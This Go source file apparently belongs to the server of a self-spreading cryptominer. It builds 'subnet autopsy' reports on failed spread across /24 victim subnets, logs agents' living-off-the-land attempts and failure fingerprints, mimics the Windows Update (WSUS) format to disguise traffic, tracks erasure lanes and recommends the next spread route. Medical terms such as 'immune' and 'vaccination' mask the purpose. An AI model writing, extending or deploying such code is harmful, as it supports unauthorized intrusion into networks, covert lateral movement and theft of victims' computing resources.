package api

import (
	"encoding/json"
	"log"
	"net/http"
	"strings"
	"time"

	"crypto-miner-server/internal/ai"
	"crypto-miner-server/internal/atlas"
	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/strategy"
)

// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes.
type SubnetAutopsyHandler struct {
	hub        *WSHub
	pathTracer *PathTracerHandler
}

func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler {
	return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer}
}

// GET /api/v1/atlas/subnet-autopsy?subnet=
func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) {
	if h == nil || h.hub == nil {
		http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable)
		return
	}
	prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet"))
	if prefix == "" {
		http.Error(w, "subnet query required", http.StatusBadRequest)
		return
	}
	pkt, ok := h.hub.SubnetAutopsy(prefix)
	if !ok {
		pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer)
	}
	writeJSON(w, pkt)
}

// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates.
func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) {
	pkt := h.BuildSubnetAutopsy(prefix, pathTracer)
	h.storeSubnetAutopsy(pkt)
	h.BroadcastSeerEvent(map[string]interface{}{
		"type":       "subnet_immune_autopsy",
		"prefix":     pkt.Prefix,
		"triggered":  pkt.TriggeredAt,
		"cause":      pkt.CauseOfDeath,
		"vaccination": pkt.VaccinationLane,
		"packet":     pkt,
	})
	log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount)
}

func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) {
	if h == nil {
		return
	}
	h.mu.Lock()
	if h.subnetAutopsies == nil {
		h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket)
	}
	h.subnetAutopsies[pkt.Prefix] = pkt
	h.mu.Unlock()
}

// SubnetAutopsy returns a cached autopsy packet for prefix.
func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) {
	if h == nil {
		return atlas.SubnetAutopsyPacket{}, false
	}
	prefix = atlas.PrefixFromHostOrIP(prefix)
	h.mu.RLock()
	pkt, ok := h.subnetAutopsies[prefix]
	h.mu.RUnlock()
	return pkt, ok
}

// BuildSubnetAutopsy assembles an immune autopsy from fleet state.
func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket {
	prefix = atlas.PrefixFromHostOrIP(prefix)
	now := time.Now().UTC()
	pkt := atlas.SubnetAutopsyPacket{
		Prefix:      prefix,
		TriggeredAt: now,
		Persona:     ai.NormalizePersona(h.serverPolicySnapshot().AIPersona),
		WSUSMimic: atlas.WSUSMimicSnapshot{
			FormatMimicEnabled: true,
			CachePeerLane:      "wsus_cache_peer",
		},
	}
	policy := h.serverPolicySnapshot()
	pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{
		ErasureLanesEnabled: policy.ErasureLanesEnabled,
		AvailableAsFallback: policy.ErasureLanesEnabled,
	}

	if h.db != nil {
		if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil {
			pkt.FailCount = row.FailCount
			pkt.PausedUntil = row.PausedUntil
		}
	}

	agents := h.agentsOnSubnet(prefix)
	pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit)
	pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit)
	pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents)

	if joinLane := recentJoinLane(h, agents); joinLane != "" {
		pkt.WSUSMimic.RecentJoinLane = joinLane
		if joinLane == "wsus_cache_peer" {
			pkt.WSUSMimic.FormatMimicEnabled = true
		}
	}

	if pathTracer != nil {
		if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil {
			pkt.VaccinationLane = hint
		}
	}

	pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt)
	return pkt
}

func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent {
	if h == nil || h.db == nil || prefix == "" {
		return nil
	}
	subnetLabel := prefix + ".x"
	agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64})
	if err != nil {
		return nil
	}
	return agents
}

func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot {
	var out []atlas.LOTLAttemptSnapshot
	for _, ag := range agents {
		if ag == nil {
			continue
		}
		attempts := lotlAttemptsForAgent(hub, ag)
		for _, a := range attempts {
			a.AgentID = ag.ID
			a.AgentName = ag.Name
			out = append(out, a)
		}
	}
	return out
}

func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot {
	if hub != nil {
		hub.mu.RLock()
		if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
			hub.mu.RUnlock()
			if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 {
				return parsed
			}
		} else {
			hub.mu.RUnlock()
		}
	}
	return parseLOTLAttemptsFromAgent(ag)
}

func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot {
	raw, ok := tel["lotl_attempts"]
	if !ok {
		return nil
	}
	b, err := json.Marshal(raw)
	if err != nil {
		return nil
	}
	var attempts []atlas.LOTLAttemptSnapshot
	if json.Unmarshal(b, &attempts) != nil {
		return nil
	}
	return attempts
}

func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot {
	if ag == nil || len(ag.LOTLAttempts) == 0 {
		return nil
	}
	out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts))
	for _, a := range ag.LOTLAttempts {
		out = append(out, atlas.LOTLAttemptSnapshot{
			Tier:       a.Tier,
			OK:         a.OK,
			Error:      a.Error,
			DurationMs: a.DurationMs,
		})
	}
	return out
}

func recentJoinLane(hub *WSHub, agents []*models.Agent) string {
	for _, ag := range agents {
		if ag == nil {
			continue
		}
		if hub != nil {
			hub.mu.RLock()
			if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok {
				if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" {
					hub.mu.RUnlock()
					return strings.TrimSpace(lane)
				}
			}
			hub.mu.RUnlock()
		}
		if strings.TrimSpace(ag.JoinLane) != "" {
			return strings.TrimSpace(ag.JoinLane)
		}
	}
	return ""
}

func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string {
	if h == nil || h.db == nil || len(agents) == 0 {
		return ""
	}
	for _, ag := range agents {
		if ag == nil {
			continue
		}
		domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain
		fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined)
		summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS)
		if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" {
			return summary
		}
	}
	return ""
}

func normalizeGossipSubnetKey(prefix string) string {
	prefix = strings.TrimSpace(prefix)
	if prefix == "" {
		return ""
	}
	if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" {
		return norm
	}
	prefix = strings.TrimSuffix(prefix, ".0/24")
	prefix = strings.TrimSuffix(prefix, "/24")
	return strings.TrimSpace(prefix)
}

func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) {
	prefix = normalizeGossipSubnetKey(prefix)
	if prefix == "" || len(hints) == 0 {
		return
	}
	h.mu.Lock()
	if h.subnetGossipWhispers == nil {
		h.subnetGossipWhispers = make(map[string][]atlas.GossipHint)
	}
	merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints)
	out := make([]atlas.GossipHint, 0, len(merged))
	for _, s := range merged {
		out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason})
	}
	h.subnetGossipWhispers[prefix] = out
	h.mu.Unlock()
}

func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint {
	prefix = normalizeGossipSubnetKey(prefix)
	if h == nil || prefix == "" {
		return nil
	}
	h.mu.RLock()
	defer h.mu.RUnlock()
	if h.subnetGossipWhispers == nil {
		return nil
	}
	return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...)
}

func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip {
	skips := atlas.SkipsFromHints(hints)
	out := make([]atlas.AtlasSkip, len(skips))
	copy(out, skips)
	return out
}

// BroadcastSeerEvent pushes structured events to dashboard Seer consumers.
func (h *WSHub) BroadcastSeerEvent(ev interface{}) {
	if h == nil {
		return
	}
	h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)})
}